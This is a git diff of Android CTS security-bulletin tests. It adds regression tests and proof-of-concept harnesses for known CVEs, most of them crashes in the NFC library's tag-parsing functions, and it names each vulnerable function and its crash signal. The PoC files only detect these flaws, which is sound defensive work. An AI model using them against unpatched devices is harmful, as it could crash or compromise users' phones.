  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
+ * You may obtain a copy of the License at
  *
- * http://www.apache.org/licenses/LICENSE-2.0
+ *      http://www.apache.org/licenses/LICENSE-2.0
  *
  * Unless required by applicable law or agreed to in writing, software
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
+#include "../includes/common.h"
+#include "gki.h"
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+int main() {
+    return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
similarity index 75%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
index bcbf54f..109a665 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,15 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2021-39804",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libbinder",
+        "libjnigraphics",
+        "libutils",
+        "libui",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
new file mode 100644
index 0000000..db09dee
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written taking reference from
+// frameworks/base/native/graphics/jni/imagedecoder.cpp
+
+#include "../includes/common.h"
+#include <android/imagedecoder.h>
+#include <binder/IPCThreadState.h>
+#include <vector>
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGSEGV) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+int main(int argc, char **argv) {
+  FAIL_CHECK(argc >= 2);
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigsegv_handler;
+  sigaction(SIGSEGV, &new_action, &old_action);
+  android::ProcessState::self()->startThreadPool();
+  FILE *file = fopen(argv[1], "r");
+  FAIL_CHECK(file);
+  fseek(file, 0, SEEK_END);
+  size_t size = ftell(file);
+  fseek(file, 0, SEEK_SET);
+  std::vector<uint8_t> buffer(size);
+  fread((void *)buffer.data(), 1, size, file);
+  fclose(file);
+  testInProgress = true;
+  AImageDecoder *decoder;
+  if (AImageDecoder_createFromBuffer(buffer.data(), size, &decoder) ==
+      ANDROID_IMAGE_DECODER_SUCCESS) {
+    AImageDecoder_delete(decoder);
+  }
+  testInProgress = false;
+  FAIL_CHECK(decoder);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 63a5370..75bbd0a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends BaseHostJUnit4Test {
+public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.BUG_183613671";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index e31cb47..adf6103 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@
 import org.junit.runner.RunWith;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends BaseHostJUnit4Test {
+public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.BUG_183963253";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 31da488..b127c85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,14 +14,19 @@
  * limitations under the License.
  */
 
+
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
-import com.android.tradefed.device.ITestDevice;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
+import java.util.regex.Pattern;
+
 import org.junit.runner.RunWith;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2018_9558 extends SecurityTestCase {
@@ -29,16 +34,23 @@
     /**
      * b/112161557
      * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 112161557)
     public void testPocCVE_2018_9558() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
+        String signals[] = {CrashUtils.SIGABRT};
         String binaryName = "CVE-2018-9558";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t2t_handle_tlv_detect_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
new file mode 100644
index 0000000..181d660
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2012 extends SecurityTestCase {
+
+    /**
+     * b/120497437
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t3t_update_block (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 120497437)
+    @Test
+    public void testPocCVE_2019_2012() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2019-2012";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(
+                        new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
new file mode 100644
index 0000000..b7c2ea8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2017 extends SecurityTestCase {
+
+    /**
+     * b/121035711
+     * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 121035711)
+    @Test
+    public void testPocCVE_2019_2017() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-2017";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t2t_handle_tlv_detect_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
new file mode 100644
index 0000000..b65faee
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2020 extends SecurityTestCase {
+
+    /**
+     * b/116788646
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: llcp_dlc_proc_rx_pdu (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 116788646)
+    @Test
+    public void testPocCVE_2019_2020() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2019-2020";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "llcp_dlc_proc_rx_pdu"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.checkMinAddress(false);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
new file mode 100644
index 0000000..21b2285
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2031 extends SecurityTestCase {
+
+    /**
+     * b/120502559
+     * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t3t_act_handle_check_ndef_rsp (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 120502559)
+    @Test
+    public void testPocCVE_2019_2031() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-2031";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t3t_act_handle_check_ndef_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
new file mode 100644
index 0000000..3aa0474
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 139017101)
+    @Test
+    public void testPocCVE_2020_0015() throws Exception {
+        ITestDevice device = getDevice();
+        final String testPkg = "android.security.cts.CVE_2020_0015";
+        uninstallPackage(device, testPkg);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage("CVE-2020-0015.apk");
+        AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
new file mode 100644
index 0000000..6689459
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0034 extends SecurityTestCase {
+
+    /**
+     * b/62458770
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @AsbSecurityTest(cveBugId = 62458770)
+    @Test
+    public void testPocCVE_2020_0034() throws Exception {
+        pocPusher.only32();
+        String binaryName = "CVE-2020-0034";
+        String inputFiles[] = {"cve_2020_0034.ivf"};
+        String signals[] = {CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 9573b39..04d65f8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,30 +16,40 @@
 
 package android.security.cts;
 
-import com.android.tradefed.device.ITestDevice;
-import com.android.compatibility.common.util.CrashUtils;
-
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2020_0073 extends SecurityTestCase {
 
     /**
      * b/147309942
      * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 147309942)
     public void testPocCVE_2020_0073() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         String binaryName = "CVE-2020-0073";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t2t_handle_tlv_detect_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
similarity index 68%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
index 43a058c..84b45a0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -1,5 +1,5 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
+/**
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,21 +17,22 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2020_0458 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/160265164
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 160265164)
     @Test
-    public void testPocCVE_2020_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+    public void testPocCVE_2020_0458() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0458", getDevice(), 300);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
similarity index 88%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
index 43a058c..ed3e846 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -23,7 +23,7 @@
 import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2020_29374 extends SecurityTestCase {
 
    /**
      * b/174738029
@@ -31,7 +31,7 @@
      */
     @AsbSecurityTest(cveBugId = 174738029)
     @Test
-    public void testPocCVE_2020_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+    public void testPocCVE_2020_29374() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29374", getDevice(),60);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index a6ae4f8..4b1bc22 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 import org.junit.After;
 import org.junit.Assert;
@@ -38,7 +38,7 @@
  * collected from the hostside and reported accordingly.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends BaseHostJUnit4Test {
+public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index af3503c..585d19b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,21 +17,40 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2021_0430 extends SecurityTestCase {
 
     /**
      * b/178725766
      * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
